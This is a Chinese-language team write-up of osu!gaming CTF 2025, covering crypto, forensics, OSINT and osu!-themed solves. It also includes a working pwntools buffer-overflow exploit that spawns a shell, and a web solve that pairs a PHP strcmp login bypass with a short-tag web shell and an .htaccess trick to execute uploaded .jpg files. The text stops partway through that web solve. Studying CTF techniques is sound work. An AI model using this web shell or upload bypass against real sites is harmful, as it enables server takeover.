osu!gaming CTF 2025 Writeup

osu!gaming CTF 2025 Writeup

0xWh4tH4pp3n3d

前言

何謂 CTF

CTF 在電腦安全中是一種活動,當中會將「旗子」秘密地埋藏於有目的的易受攻擊的程式或網站。參賽者從其他參賽者(攻/防式奪旗)或主辦方(危難式挑戰)偷去旗子。

簡單來說目前線上的 CTF 大多都是由主辦方出題目,而參賽者解開題目並取得藏匿於其中的 Flag。最後上傳至主辦方的驗證系統以取得分數。

關於隊伍

過去我 (WoodMan) 曾經參與過各種 CTF,不管是團體的還是個人的,不過在我進入大學與職場後就很少參加。
而在 2025 年的時候,我發現自己其實能力還不夠到位然後又很想參加比賽累積經驗,因此才成立了這個隊伍。
這個隊伍除了另一位筆者 jimchen5209 之外,還有一些公司內的同事。而隊伍名稱也只是因為內部常常說著「怎麼會這樣」才取名為「0xWh4tH4pp3n3d」。
目前這個隊伍是一個新手等級的隊伍,希望能夠藉由參與競賽獲得經驗。

WoodMan

這大概是我打過最有成就感的一場競賽,過去因為能力的關係需要依靠隊友協助才能解開題目。
進入職場後我將我學習到一些手法與經驗用於這場競賽,同時也在這場競賽中獲得其他知識與經驗。
希望未來能夠多多參與其他競賽,持續累積經驗。也希望未來能夠解開更多類型的題目。

jimchen5209

這是一個新手向的競賽,藉由這次競賽讓我對於 CTF 的信心大增,雖然因為能力問題解的題目不算多,但這次的 CTF 讓我有了參加的實感。期望能藉由比賽累積經驗,並在未來的 CTF 中得到更多分數。

比賽資訊

本文封面來自 osu!gaming CTF 2025 官方網站之比賽封面

osu!gaming CTF 2025

  • 官方網站:https://osugaming.sekai.team
  • 比賽時間:25th October 2025 @ 10:00 UTC+08:00 - 27th October 2025 @ 10:00 UTC+08:00
  • 隊伍成績:2006
  • 隊伍排名:72nd

Writeup

以下是我們解出來的題目:

crypto

crypto/rot727 by WoodMan

題目說明

i rotated my flag 727 times! that’s super secure right
aeg{at_imuf_nussqd_zgynqd_paqezf_yqmz_yadq_eqogdq}

解題

題目提示 727ROT 位移,但 727 mod 26 = 25,若加密為 ROT25,解密應為 ROT1,與密文不符

透過已知明文攻擊,比較 flag 開頭的 osu{ 和密文開頭的 aeg{

  • o (14) -> a (0): 位移 0 - 14 = -14 ≡ 12 (mod 26)
  • s (18) -> e (4): 位移 4 - 18 = -14 ≡ 12 (mod 26)
  • u (20) -> g (6): 位移 6 - 20 = -14 ≡ 12 (mod 26)

可知加密方式為 ROT12。因此,解密需要 ROT-12,即 ROT14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def rot14(text):
result = []
for char in text:
if 'a' <= char <= 'z':
result.append(chr((ord(char) - ord('a') + 14) % 26 + ord('a')))
elif 'A' <= char <= 'Z':
result.append(chr((ord(char) - ord('A') + 14) % 26 + ord('A')))
else:
result.append(char)
return ''.join(result)

encrypted = "aeg{at_imuf_nussqd_zgynqd_paqezf_yqmz_yadq_eqogdq}"
decrypted = rot14(encrypted)
print(decrypted)

Flag

osu{oh_wait_bigger_number_doesnt_mean_more_secure}

crypto/beyond-wood by WoodMan

題目說明

spinning white floating glowing man in forest

解題

這是圖片像素打亂 + XOR 加密:

  1. 原始程式把 FLAG 每個像素 XOR key 後,再用 (i*727 + offset) % width(j*727 + offset) % height 打亂位置,得到 output.png
  2. 先用 Modular multiplicative inverse 算出每個 Pixel 的原始位置,將圖片「反洗牌」。
  3. 找出最常出現的 Pixel 值(假設是背景),利用 XOR 還原每個 Pixel 的真實顏色。
  4. 嘗試不同背景顏色(白或黑)得到完整 flag.png。

簡單說就是:先逆轉像素位置 → 找背景 → XOR 還原像素 → 拿回 FLAG 圖片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from PIL import Image
from collections import Counter

output = Image.open("output.png")
width, height = output.size

def modinv(a, m):
def egcd(a, b):
if a == 0:
return b, 0, 1
g, x1, y1 = egcd(b % a, a)
return g, y1 - (b // a) * x1, x1
g, x, _ = egcd(a % m, m)
return (x % m + m) % m if g == 1 else None

inv_727_w = modinv(727, width)
inv_727_h = modinv(727, height)

def reverse_position(newi, newj):
i = ((newi - 2134266) * inv_727_w) % width
j = ((newj - 4501511) * inv_727_h) % height
return i, j

unshuffled = Image.new("RGB", (width, height))
for newi in range(width):
for newj in range(height):
i, j = reverse_position(newi, newj)
unshuffled.putpixel((i, j), output.getpixel((newi, newj)))

all_pixels = [unshuffled.getpixel((i, j)) for i in range(width) for j in range(height)]
encrypted_bg = Counter(all_pixels).most_common(1)[0][0]

for assumed_bg, outname in [((255, 255, 255), "decrypted_white_bg.png"),
((0, 0, 0), "decrypted_black_bg.png")]:
key = tuple(e ^ a for e, a in zip(encrypted_bg, assumed_bg))
decrypted = Image.new("RGB", (width, height))
for i in range(width):
for j in range(height):
p = unshuffled.getpixel((i, j))
decrypted.putpixel((i, j), tuple(px ^ k for px, k in zip(p, key)))
decrypted.save(outname)

Flag

osu{h1_0su_d351gn_t34m}

crypto/xnor-xnor-xnor by WoodMan

題目說明

https://osu.ppy.sh/beatmapsets/1236927#osu/2573164

解題

已知 Prefix "osu{",用它和 ciphertext 的前幾個 bits 算出重複使用的 4-byte key。

將這 4-byte key 重複到整段密文長度,對 ciphertext 做 XNOR 運算還原原文。

最後得到完整 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def xnor_gate(a, b):
return 1 if a == b else 0

def str_to_bits(s):
bits = []
for x in s:
bits += [(x >> i) & 1 for i in range(8)][::-1]
return bits

def bits_to_str(bits):
return bytes([sum(x * 2 ** j for j, x in enumerate(bits[i:i+8][::-1])) for i in range(0, len(bits), 8)])

def xnor(pt_bits, key_bits):
return [xnor_gate(pt_bit, key_bit) for pt_bit, key_bit in zip(pt_bits, key_bits)]

enc_hex = "7e5fa0f2731fb9b9671fb1d62254b6e5645fe4ff2273b8f04e4ee6e5215ae6ed6c"
enc_bytes = bytes.fromhex(enc_hex)
enc_bits = str_to_bits(enc_bytes)

known_plain = b"osu{"
known_bits = str_to_bits(known_plain)

key_bits = []
for i in range(len(known_bits)):
key_bits.append(xnor_gate(enc_bits[i], known_bits[i]))

key_bits_32 = key_bits[:32]

key_repeated = (key_bits_32 * ((len(enc_bits) // 32) + 1))[:len(enc_bits)]
flag_bits = xnor(enc_bits, key_repeated)
flag = bits_to_str(flag_bits)

print(f"Key (4 bytes): {bits_to_str(key_bits_32).hex()}")
print(f"Flag: {flag.decode()}")

Flag

Key (4 bytes): eed32a76

osu{b3l0v3d_3xclus1v3_my_b3l0v3d}

crypto/pls-nominate by WoodMan

題目說明

pls help me get the attention of bns by spamming this message to them pls pls pls

解題

這是一個使用小公鑰指數 e=5 的 RSA 系統,對同一訊息使用多個互質模數進行加密:

  1. 原始程式把 message = 固定 prefix + FLAG,用五個不同 n 做 RSA 加密,得到五個 ciphertexts。
  2. 因為 n 互質,我們用 Chinese Remainder Theorem (CRT) 把五個 ciphertext 合併成完整的 message^e
  3. 再計算 e 次方根(或試幾個 offset 補正)就還原出原始 plaintext。
  4. 最後從 plaintext 中切出 FLAG。

簡單說就是:小 e + 多模數 → CRT → e 次方根 → 拿回 FLAG。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
ns = [ ... ]
cs = [ ... ]
e = 5

def egcd(a, b):
if b == 0:
return (1, 0, a)
x, y, g = egcd(b, a % b)
return (y, x - (a // b) * y, g)

def modinv(a, m):
try:
return pow(a, -1, m)
except TypeError:
x, _, g = egcd(a, m)
if g != 1:
raise ValueError("no inverse")
return x % m

def crt_combine(a1, n1, a2, n2):
s, t, g = egcd(n1, n2)
if g != 1:
raise ValueError("moduli not coprime")
inv = s % n2
k = ((a2 - a1) * inv) % n2
x = a1 + n1 * k
return x % (n1 * n2), n1 * n2

def int_nth_root(x, n):
if x < 0:
raise ValueError("negative")
if x == 0:
return 0, True
lo = 1
hi = 1 << ((x.bit_length() + n - 1) // n + 1)
while lo < hi:
mid = (lo + hi) // 2
p = pow(mid, n)
if p == x:
return mid, True
if p < x:
lo = mid + 1
else:
hi = mid
root = lo - 1
return root, pow(root, n) == x

def main():
res = cs[0]
mod = ns[0]
for a, n in zip(cs[1:], ns[1:]):
res, mod = crt_combine(res, mod, a, n)
N = mod
root, exact = int_nth_root(res, e)
if not exact:
for k in range(1, 1000001):
val = res + k * N
root, exact = int_nth_root(val, e)
if exact:
break
else:
raise SystemExit("no root found")
m = root
mb = m.to_bytes((m.bit_length() + 7) // 8, 'big')
prefix = b"hello there can you pls nominate my map https://osu.ppy.sh/beatmapsets/2436259 :steamhappy: i can bribe you with a flag if you do: "
idx = mb.find(prefix)
if idx != -1:
print(mb[idx + len(prefix):].decode('utf-8', errors='replace'))
else:
print(mb[-200:].decode('utf-8', errors='replace'))

if __name__ == "__main__":
main()

Flag

osu{pr3tty_pl3453_w1th_4_ch3rry_0n_t0p!?:pleading:}

crypto/linear-feedback by WoodMan

題目說明

this owc map is so fire btw :steamhappy: https://osu.ppy.sh/beatmapsets/2451798#osu/5355997

解題

這是 LFSR + XNOR stream cipher

  1. 原始程式使用兩個 LFSR (L1L2) 生成一個 72-bit XNOR keystream,再把 FLAG 與 keystream 的 SHA256 擴展做 XOR 加密得到 ciphertext。
  2. 用 Z3 SMT solver,把 LFSR 初始狀態設為未知變數,並用前 72 位 XNOR 輸出作為約束。
  3. Solver 找到可能的初始狀態後,重新生成 keystream 並 XOR ciphertext → 還原原始 FLAG。

簡單說就是:用 SMT 逆推 LFSR 初始狀態 → 重建 keystream → 解密 FLAG。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from z3 import *
from hashlib import sha256

target_bits = [0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0]
ciphertext = bytes.fromhex("9f7f799ec2fb64e743d8ed06ca6be98e24724c9ca48e21013c8baefe83b5a304af3f7ad6c4cc64fa4380e854e8")

solver = Solver()
L1_initial = [Bool(f'L1_{i}') for i in range(21)]
L2_initial = [Bool(f'L2_{i}') for i in range(29)]

def clock(state, taps):
fb = state[taps[0]]
for t in taps[1:]:
fb = Xor(fb, state[t])
return state[0], state[1:] + [fb]

def xnor(a, b):
return Not(Xor(a, b))

L1_state, L2_state = L1_initial[:], L2_initial[:]
L1_taps, L2_taps = [2,4,5,1,7,9,8], [5,3,5,5,9,9,7]

for i in range(72):
b1, L1_state = clock(L1_state, L1_taps)
b2, L2_state = clock(L2_state, L2_taps)
solver.add(xnor(b1, b2) == BoolVal(target_bits[i]))

while solver.check() == sat:
m = solver.model()
k1 = int(''.join(['1' if m[v] else '0' for v in L1_initial]), 2)
k2 = int(''.join(['1' if m[v] else '0' for v in L2_initial]), 2)

ks = sha256((str(k1)+str(k2)).encode()).digest()*2
flag = bytes([c ^ k for c, k in zip(ciphertext, ks)])
if flag.startswith(b"osu{"):
print(flag.decode())
break

solver.add(Or([v != m[v] for v in L1_initial+L2_initial]))

Flag

osu{th1s_hr1_i5_th3_m0st_fun_m4p_3v3r_1n_0wc}

forensics

forensics/map-dealer by WoodMan

題目說明

We have confiscated a USB drive from sahuang, whom we were informed was trying to sell a beatmap containing some confidential data of the community to the dark web. However, the beatmap was nowhere to be found from the drive when we mounted it to our computer. Can you help recover it?

解題

  1. tar -xvf forensics_map-dealer.tar.gz

  2. ewfmount Sandisk.E01

  3. fls -r ewf/ewf1

  4. icat ewf/ewf1 8202 > "recovered_sahuang_secret_map.osz"

  5. unzip recovered_sahuang_secret_map.osz

  6. read flag.png

Flag

osu{I_hope_my_h4ndwr1ting_is_readable_xd}

kaijuu

kaijuu/sanity-check by jimchen5209

怪獸系列的起點,在這系列中都需要用到

題目說明

Find my latest mapset on osu! and start from there :)

Author: sahuang

解題

  1. 在 osu! 網站上找到作者 sahuang
    https://osu.ppy.sh/users/5318910

  2. 查看他最新的圖

    https://osu.ppy.sh/beatmapsets/2454199
  3. 在標籤中,有個 Flag 藏在裡面

Flag

osu{APPEND_38_Goes_Crazy}

kaijuu/ss-me by jimchen5209

題目說明

Can you SS APPEND? Do not use Auto to cheat…
Note: No Mod only. Do not add any modes.

nc ss-me.challs.sekai.team 1337

提供的檔案

分析檔案

一個包含 APPEND(★7.53) 難度 osu! 圖譜。

本題需要提交一個 ★7.53 難度的重播(Replay)檔案,且不能包含任何模組(Mod)。

解題

這對 osu! 高手來說不難,雖然我沒辦法打過,但還是有方法,需要 stable 的 osu! 客戶端。

  1. 使用 Auto 模組遊玩,然後按 F2 會出 Auto 的重播檔

  2. 接著我們需要修改這個重播檔來移除 Auto 的證據。
    使用工具: thebetioplane/osuReplayEditorV3

    打開工具,載入重播檔,將玩家名稱 osu! 改掉,並取消勾選所有模組,然後匯出重播檔,請確認檔案名稱以你修改的玩家名稱結尾。

  3. 接著,你需要一點 python 腳本來提交重播檔。

    1
    2
    3
    4
    5
    6
    7
    from base64 import b64encode
    from pwn import * # python3 -m pip install pwntools

    io = remote('ss-me.challs.sekai.team', 1337)
    io.sendline(b64encode(open('./replay.osr', 'rb').read()))
    io.interactive()

    此腳本需要安裝 pwntools 套件,接著你就會從回覆中看到 Flag。

Flag

osu{I_th1nk_u_St1LL_ch34t3d_w1th_AU70!}

kaijuu/怪獣怪獣怪獣怪獣怪獣怪獣怪獣 by jimchen5209

本題目是在比賽後解出來的,Flag 由社群提供,而非官方 Flag。

題目說明

I can only see 怪獣 in my nightmare…
Wrap flag in osu{...} to submit.

提供的檔案

分析檔案

一個包含 KaijuuKaijuuKaijuu 難度 osu! 圖譜。

整張圖包含以下兩個圖案:

  • 面朝左邊的怪獸,我們稱之為 R

  • 面朝右邊的怪獸,我們稱之為 L

解題

播放整張圖後,我們會得到 RLLRLRRLRRLRLLLRRLLLRRLLRLRLRRRLRLRRLRLRLRLRLLLLR.

這是個 7 位元編碼的 ASCII,長度 49,假設 R1L0,會得到 1001011011010001100011001010111010110101010100001,每七位元為一組,並轉換為對應的 ASCII 字母。

1
2
1001011 0110100 0110001 1001010 1110101 1010101 0100001
K 4 1 J u U !

Flag

osu{K41JuU!}

Sources

kaijuu/cached by jimchen5209

本題目是在比賽後解出來的,Flag 由社群提供,而非官方 Flag。

題目說明

Something is not quite right if you look at the beatmap page… Did I forget to clean my footprint?
Note: This challenge ONLY requires you to inspect the mapset page (i.e. any stuff under https://osu.ppy.sh/beatmapsets/x/…). Do NOT interact with forum or post anything outside.
This is an OSINT challenge.

解題

因為這是過去的內容(已刪除的評論),需要 web archive 來取得 Flag。

Kaijuu ni Naritai mapped by sahuang · beatmap discussion | osu!

Flag

osu{we1c0me_t0_my_annual_mapset}

kaijuu/oddly-easy by jimchen5209

這看起來有點暴力解,但對於這種有歧義的摩斯電碼,我找不到更好的解法了。

本題目是在比賽後解出來的,Flag 由社群提供,而非官方 Flag。

題目說明

The EASY diff looks so easy, surely it’s not hiding anything?
Wrap the flag in osu{}. All lowercase.
Note: Flag length (without osu{}) is 10.

提供的檔案

分析檔案

一個包含 EASY 難度 osu! 圖譜。

用編輯器打開此難度,你會發現 Kiai 的部分有點不尋常。

看起來像是摩斯電碼,寫著 -------.-.........--..--.--.-.----.-.----

但無法直接解出來

解題

社群提供了一個特殊腳本,用動態規劃/BFS 來解碼摩斯電碼,並找出所有可能的長度恰好為 10 個字母的解碼結果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
morse_str = "-------.-.........--..--.--.-.----.-.----"

decoded = [
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t',
'u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9',
'.', ',', '?', "'", '!', '/', '(', ')', '&', ':', ';', '=', '+', '-', '_', '"', '$', '@'
]

morse = [
".-", "-...", "-.-.", "-..", ".", "..-.", "--.", "....", "..", ".---", "-.-", ".-..",
"--", "-.", "---", ".--.", "--.-", ".-.", "...", "-", "..-", "...-", ".--", "-..-",
"-.--", "--..",
"-----", ".----", "..---", "...--", "....-", ".....", "-....", "--...", "---..", "----.",
".-.-.-", "--..--", "..--..", ".----.", "-.-.--", "-..-.", "-.--.", "-.--.-", ".-...",
"---...", "-.-.-.", "-...-", ".-.-.", "-....-", "..--.-", ".-..-.", "...-..-", ".--.-."
]

# Morse → character dictionary
morse_to_char = dict(zip(morse, decoded))

n = len(morse_str)

# --- Step 1: Build skip table ---
next_valid = [[] for _ in range(n)]
max_len = max(len(m) for m in morse)
min_len = min(len(m) for m in morse)

for i in range(n):
for L in range(min_len, min(max_len, n - i) + 1):
seg = morse_str[i:i + L]
if seg in morse_to_char:
next_valid[i].append((i + L, morse_to_char[seg]))

# --- Step 2: DP / BFS decode with skip table and length tracking ---
ans_list = [set() for _ in range(n + 1)]
ans_list[0].add(("", 0)) # (decoded_string, decoded_length)

for i in range(n):
if not ans_list[i]:
continue
for nxt, ch in next_valid[i]:
for prefix, plen in ans_list[i]:
new_len = plen + 1
# Only continue building if we can still reach length 10
if new_len <= 10:
ans_list[nxt].add((prefix + ch, new_len))

# --- Step 3: Collect only decoded strings of length exactly 10 ---
results = {s for s, l in ans_list[n] if l == 10}

print(f"Found {len(results)} result(s) of length 10:")
for r in sorted(results):
print(r)
Claude 的逐步解析

Step 1: 建立跳躍表(skip table)

1
next_valid[i].append((i + L, morse_to_char[seg]))
  • 對於每個位置 i,預先計算從該位置開始,可以匹配哪些摩斯字母
  • 記錄:跳到的下一個位置 i+L,以及對應的字母 ch
  • 例如:如果位置 3 開始的 .- 是字母 ‘a’,則記錄 (5, 'a')

Step 2: 動態規劃解碼

1
ans_list[0].add(("", 0))  # 起點:空字串,長度0
  • ans_list[i] 儲存「解碼到位置 i 時」所有可能的 (字串, 長度) 組合
  • 對每個位置 i,嘗試所有可能的下一個字母
  • 只保留長度 ≤ 10 的候選(剪枝優化)

Step 3: 收集結果

1
results = {s for s, l in ans_list[n] if l == 10}
  • 從最後位置 n 的所有解碼結果中,篩選出長度恰好為 10的字串

總結

這個程式處理了摩斯電碼的歧義性問題:

  • 同樣的符號序列可能有多種分割方式
  • 例如 .- 可以是 a,也可以是 e + t
  • 程式會找出所有可能的解碼,但只輸出長度為 10 的結果
</div>

腳本得出了 5504 個長度為 10 的可能,看起來像是文字的那個應該就是 Flag。
(這部分是社群解出來的,對於如何從這麼多結果中找到正確的 Flag,我也感到非常驚訝!)

Flag

osu{m0r53_k1a1}

osint

osint/dmca by WoodMan

題目說明

Peppy once received a DMCA takedown request for osu! due to alleged copyright infringement. The client, however, spelled “osu!” wrong.
Can you find out the email address of the client who sent the DMCA request? Wrap in osu{} and submit.

解題

我 Google 搜尋了一段時間找不到任何結果後,換成在 DuckDuckGo 搜尋:osu dmca peppy
滾動一陣子後,我找到這個文件:https://github.com/seedcrack/osu-DMCA-maps-finder/blob/main/notices.txt
第一個檔案中,我注意到第一行有個打字錯誤:Dear OUS!’s designated Agent,
將內容中的電子郵件地址用 osu{} 包起來。

Flag

osu{neowizip@neowiz.com}

osint/weebbolt by WoodMan, jimchen5209

題目說明

This challenge is a lot more fun when you’re a weeb.
https://weebbolt-web.challs.sekai.team

解題

題目提供一個包含 10 張圖片的網站。
每張圖片都暗示一個特定地點。根據圖片猜出地點,當你答對其中 9 個,就能取得 flag。

10 個地點分別是:

  1. loner

  2. diary

  3. ongaku

  4. ghost

  5. bench

  6. punchdrunk

  7. cafe

  8. roe

  9. technology

  10. pumpitup

    • Location: The entrance to the public parking lot at the intersection of Ulaanbaatar Zaisan Monument. / 蒙古烏蘭巴托 宰桑紀念碑 路口處的公共停車場入口

      https://maps.app.goo.gl/1oXn9NWtZ893wyRD9

Flag

osu{https://i.ibb.co/xTx6Nns/image.png}

osu

osu/lobby by jimchen5209

題目說明

Multi is a game mode in osu! that allows players to play together in a multiplayer lobby. PvP is fun, isn’t it?

Join the official CTF lobby osu!gaming CTF 2025 to claim the flag! You are more than welcomed to stay in the lobby for a bit longer and have fun with others. There WILL be a secret prize for a random game winner :wysi:

Please behave nicely and follow the rules. Do not spoil the fun for others! Report any misbehaviour to admins.

解題

需要 stable 版本的 osu! 客戶端。

  1. 在多人遊戲中搜尋 osu!gaming CTF 2025 並加入

  2. 在聊天室中輸入 !flag

  3. sahuang 會在私訊中給你 Flag

    You may need to head to https://osu.ppy.sh/community/chat to copy the flag.

Flag

osu{Welc0me_And_G00d_Luck_Gett1ng_Th3_Secr3t_Prize<3}

osu/files by jimchen5209

題目說明

My filesystem got corrupted somehow… can you find the odd one out? The flag is the file name that doesn’t belong, wrapped in osu{}.

提供的檔案

  • osu_files.tar.gz

分析檔案

檔案內有 osu! lazer 的檔案結構,但失去索引檔案,內部包含已匯入的圖譜

File storage in osu!(lazer) · wiki

檢查目錄內容,使用下列命令檢查是否有不符合規則的檔案:

1
tree -a

輸出: output/file_structure.txt

但每個檔案名稱看起來都是正常的,代表著有問題的是檔案內容。

解題

本題需要一個全新安裝的 osu! lazer 來比較目錄內容。

每個圖譜中一定會有一個 .osu 檔案來記載圖譜資訊,例如:

較新的圖譜檔案可能包含 BeatmapSetId 欄位,註冊在 osu! 網站上。

例如: BeatmapSetID:1660279

當你拿到 id 後,可以透過以下格式的網址下載對應的圖譜:

https://osu.ppy.sh/beatmapsets/1660279

現在,在目錄中搜尋 BeatmapSetID,並下載對應的圖譜

搜尋過程中可以透過取代來幫助過濾已經下載過的圖譜,但記得將原目錄備份一份,因為等會會用到。

你可能會看到 id 是 -1 的圖,但這可能是進場的預設圖(例如:osu!lazer 的進場音樂 triangle),可以暫時忽略

以下是我找到的圖譜:

現在開啟全新安裝的 osu! lazer 並匯入這些圖譜,匯入完成後,打開設定並開啟 osu! 資料夾。

你會看到一個名為 files 的目錄。

接著使用目錄比較工具(例如:Windows 上的WinMerge或 Linux/Mac 的 diff 命令)來比較這個 files 目錄和提供的 files 目錄,你會發現不同的檔案已經標記出來,包含某一邊不存在的檔案。

打開其中一個檔案並確認內容,例如這個檔案(1281cec186d436b8e1e2ceccec222d96fc028e353e54c97410d4581a58556529)包含沒有 id 的圖譜,看起來是個舊格式的檔案,所以用上面的資訊如標題和建立者搜尋圖譜。

然後我就找到了這個圖:

下載並匯入這張圖譜,並重新整理目錄比較,現在只剩下兩個不同的檔案。

那個被遺留的檔案就是本題的答案。

Flag

osu{80e4c02268d49ca010e3c62fcc2615da2fad4cf0c359eb8fedc0366739b34205}

Bottom Line

  • 實際上 circles 的作者是 nekodex 而不是 cYsmix。
  • 這玩家肯定是 Freedom Dive 的粉絲。
osu/date-a-live by jimchen5209

本題目是在比賽後解出來的,Flag 由社群提供,而非官方 Flag。

題目說明

My friend is a huge fan of the Date A Live series, and promised me to make a good mapset of the songs. Maybe he isn’t a good mapper, though.
Wrap the secret you got to osu{...} format. Note: Flag length (without osu{}) is 10.

提供的檔案

  • osu_date-a-live.tar.gz
    • sweet ARMS - Date a Live.osz

分析檔案

這是一個含有 10 張圖的圖譜。

解題

就像上面提到的,這是個約會大作戰(Date A Live)系列相關的圖譜,我們需要為他們排序,依照第一季到第五季的開頭(OP)和結尾(ED)音樂。

以下是包含 stable 星級難度的順序:

  1. 第 1 季 OP: sweet ARMS - Date a Live (sahuang) [Easy].osu (★0.68)
  2. 第 1 季 ED: Nomizu Iori - SAVE MY HEART (TV Size) (sahuang) [4K EZ].osu (★1.01)
  3. 第 2 季 OP: sweet ARMS - Trust in you (sahuang) [Easy].osu (★1.14)
  4. 第 2 季 ED: Sadohara Kaori - Day to Story (TV Size) (sahuang) [Easy].osu (★0.51)
  5. 第 3 季 OP: sweet ARMS - I swear (sahuang) [Easy].osu (★0.83)
  6. 第 3 季 ED: Yamazaki Erii - Last Promise (sahuang) [Easy].osu (★0.52)
  7. 第 4 季 OP: Tomita Miyu - OveR (sahuang) [EasY].osu (★0.53)
  8. 第 4 季 ED: sweet ARMS - S.O.S (TV Size) (sahuang) [Easy].osu (★0.51)
  9. 第 5 季 OP: Tomita Miyu - Paradoxes (TV Size) (sahuang) [Easy].osu (★1.14)
  10. 第 5 季 ED: sweet ARMS - Hitohira (TV Size) (sahuang) [Easy].osu (★1.17)

星級難度藏著十進制的 ASCII 字母,將小數點移除並找到對應的字母。

  1. 068 -> D
  2. 101 -> e
  3. 114 -> r
  4. 051 -> 3
  5. 083 -> S
  6. 052 -> 4
  7. 053 -> 5
  8. 051 -> 3
  9. 114 -> r
  10. 117 -> u

Flag

osu{Der3S453ru}

Sources

pwn

pwn/username-checker by WoodMan

題目說明

Having trouble finding the perfect osu! username?
Check whether your usernames are valid using username-checker!

解題

首先進行 Reverse engineering,找出能夠攻擊的路徑與可利用的方法。

main 裡可以看到呼叫了一個名為 check_username() 的函數。

接著,分析 check_username() 函數以確認漏洞所在。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void check_username(void) {
char local_48[44]; // Buffer only 44 bytes

printf("please enter a username you want to check: ");
fgets(local_48, 0x80, stdin); // But read 128 bytes

sVar2 = strcspn(local_48, "\n");
local_48[sVar2] = '\0';

sVar2 = strlen(local_48);
if (sVar2 < 0x10) { // Check length < 16
// ... Character check ...
if (strcmp(local_48, "super_secret_username") == 0) {
win(); // Point!
}
} else {
puts("username is too long");
}
}

void win(void) {
puts("how did you get here?");
system("/bin/sh"); // Target
}

Buffer size: 44 bytes.
fgets 可以讀: 128 bytes (0x80).
差異: 有 84 bytes 可以被覆寫。

這是一個典型的 Buffer Overflow

1
2
3
4
5
fgets(local_48,0x80,stdin);
sVar2 = strcspn(local_48,"\n");
local_48[sVar2] = '\0';
sVar2 = strlen(local_48);
if (sVar2 < 0x10) { // Input need < 16

接著看驗證邏輯:程式會檢查輸入長度,因此不能直接送超長字串 ── 但可以利用 Null byte 截斷。

strlen 在遇到 \x00 時就停止計算,所以如果在第 16 個位置放入 \x00strlen 只會看到前 15 個字元,但 fgets 實際上早已把後續資料寫進 stack。

接下來是找 offset── 確認輸入多少字元會造成 Crash 並覆寫 return address

這裡我發現輸入 72 個字元 就能覆寫 return address。

win() 的記憶體位址可以用 gdb 取得。

為什麼需要 ret_gadget

因為 x86-64 System V ABI 要求在執行 call 指令前,rsp 必須保持 16 位元組對齊。

可以用以下指令取得 ret_gadget

ROPgadget --binary checker | grep ": ret$"

所以我們最後 Payload 應該是:

15 chars + \x00 + 56 chars + ret_gadget + win() address

完整 Exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *


# r = process('./checker')
r = remote('username-checker.challs.sekai.team', 1337)

win_addr = 0x401236
ret_gadget = 0x40101a

payload = b'a' * 15
payload += b'\x00'
payload += b'B' * (72 - 16)
payload += p64(ret_gadget)
payload += p64(win_addr)

r.sendlineafter(b'check: ', payload)
r.interactive()

Flag

osu{thats_not_a_val1d_username_:(}

最後我專長不是 Pwn,這算是誤打誤撞解出來的,內容若有錯誤還請多指教。

web

web/admin-panel by WoodMan

題目說明

we found the secret osu! admin panel!!
can you find a way to log in and read the flag?

解題

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// login.php
<?php
session_start();
$admin_password = bin2hex(random_bytes(16));

if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = $_POST["username"];
$password = $_POST["password"];

if ($username == "peppy" && strcmp($admin_password, $password) == 0) {
$_SESSION["logged_in"] = true;
header("Location: admin.php");
exit();
}
}

header("Location: index.php");
?>

主要問題出在第 10 行的 strcmp 比較。我們可以把傳入的 password 從字串改成 password[],這會讓 $password 變成陣列而不是字串。當 strcmp 進行比較時,由於參數不是字串,strcmp 會丟出警告並回傳 NULL(代表失敗)。但因為 PHP 的寬鬆比較規則,NULL == 0 被視為相等,因此 strcmp(...) == 0 會成立,導致檢查被繞過。

成功觸發後,只要用瀏覽器請求 /admin.php 就能看到上傳頁面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// admin.php
<?php
session_start();
if (!isset($_SESSION["logged_in"])) {
header("Location: index.php");
exit();
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_FILES["file"])) {
$file = $_FILES["file"];
$filename = $file["name"];
$contents = file_get_contents($file["tmp_name"]);

if (stripos($filename, ".php") !== false) {
echo "<h1>file is not allowed</h1>";
}
else if (stripos($contents, "<?php") !== false) {
echo "<h1>file has unsafe contents</h1>";
}
else {
move_uploaded_file($file["tmp_name"], "./uploads/" . $filename);
header("Location: /uploads/" . $filename);
}
die();
}
}
?>
// ...

接著,為了繞過第 15 與第 18 行的檢查,我們可以在 .jpg 檔中使用短標籤語法的 PHP 程式碼。這樣一來:

因此就能成功繞過兩道限制。

1
echo '<? system($_GET["cmd"]); ?>' > shell.jpg

接著當我們請求 /shell.jpg?cmd=cat%20/flag.txt 時發現會失敗,因此需要讓 .jpg 具備可執行能力。我們可以透過上傳方式修改 .htaccess 檔案:

1
echo 'AddType application/x-httpd-php .jpg' > .htaccess

